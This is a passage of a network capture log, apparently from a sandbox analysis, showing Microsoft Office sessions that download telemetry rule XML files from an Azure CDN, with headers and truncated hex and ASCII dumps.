2024-11-18 23:02:31 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:31 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 57eb6011-f01e-003f-70b3-39d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230231Z-16547b76f7fl5zvnhC1DFWtk9g00000004s0000000011fxm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:31 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49890	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:31 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:31 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:31 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: b3f05f3e-001e-0065-58c4-380b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230231Z-17cf5b775c4jp6njhC1DFW19kn00000000g0000000006qp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:02:31 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49891	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:31 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:31 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 70401fc9-201e-003c-2e89-3830f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230231Z-1866b5c5fbbg9tvxhC1DFWy9mg00000002bg0000000074em x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:31 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49892	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:31 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:31 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:31 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 555572e6-d01e-00a1-5509-3735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230231Z-16547b76f7fkz9l7hC1DFW35uc00000003kg000000007smn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:31 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49893	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:32 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:32 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 311bbf91-201e-006e-1d26-37bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230232Z-164f84587bfjxw6fhC1DFWq94400000006q0000000003uny x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:32 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49894	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:32 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:32 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:32 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 9fe5a23c-201e-0051-74ab-367340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230232Z-1866b5c5fbbg9tvxhC1DFWy9mg000000028000000000tb4c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:32 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49895	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:32 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:32 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 1b688191-f01e-0099-323e-389171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230232Z-164f84587bfdfkt7hC1DFW4fas00000004e000000000r33r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:32 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49896	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:32 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:32 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 32a1e0c1-401e-0048-618a-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230232Z-17cf5b775c482xjhhC1DFWhqac00000000hg000000005qy5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:32 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49897	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:32 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:32 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:32 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 68acba38-501e-000a-677f-380180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230232Z-16547b76f7fwm7vghC1DFW900s000000044g000000001egb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:02:32 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49898	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:33 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:33 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:33 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: cfc1385c-801e-0083-58d2-37f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230233Z-16547b76f7fhv4d5hC1DFW7h0n00000004x0000000002pb4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:33 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49899	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:33 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:33 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:33 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: d7b14c3d-501e-0047-0581-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230233Z-16547b76f7f6nr89hC1DFWz7ug00000002u000000000ac00 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:33 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49900	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:33 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:33 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:33 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 454d907e-001e-00ad-0609-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230233Z-1866b5c5fbbnjgfwhC1DFW3usc00000001m0000000011ep9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
